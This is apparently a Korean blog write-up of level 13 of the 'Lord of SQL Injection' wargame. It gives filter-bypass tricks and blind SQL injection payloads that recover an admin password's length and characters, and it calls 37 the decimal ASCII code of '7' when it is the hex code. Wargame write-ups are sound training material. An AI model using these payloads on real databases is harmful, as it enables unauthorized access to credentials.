Lord Of SQL Injection [ 13. BugBear ]

2017. 9. 13. 18:05WebHacking/Lord of SQL injection

 



[ 개념 ]


1> mysql에서의 hex() 함수

hex('a') => a는 아스키코드16진수값으로 0x61값이지만, mysql에서는 0x가 없는 61로 반환된다

hex('a')=61


2> and , or

and => && => %26%26

or => ||


3> ' ' 를 대신 " " 사용하여 문자 표현

4> ' = ' 를 대신하여 not <> 사용

5> 스페이스바를 대신하여 0x09 or 0x0a ... 사용할 수 있다



[ 비밀번호 추측하기 ]


1> 비밀번호 길이 알아내기


no=9999%0a||%0anot%0aid<>"admin"%0a%26%26%0anot%0alength(pw)<>8 

=> SELECT id FROM prob_bugbear WHERE id="admin" and length(pw)=8


2> 비밀번호 각 자리수 별 추측하기


?no=9999%0aor%0anot%0aid<>"admin"%0aand%0anot%0ahex(mid(pw,1,1))<>37

=> SELECT id FROM prob_bugbear WHERE id="admin" and hex(mid(pw,1,1))=37

비밀번호의 첫번째 글자는 숫자 7이다 ( 숫자 7의 아스키코드 10진수 값은 37 )

8개의 자리수를 해당 과정을 통해서 추측해낸다


3> 실행결과


4> 비밀번호 자동화 파이썬 프로그래밍


5> 실행결과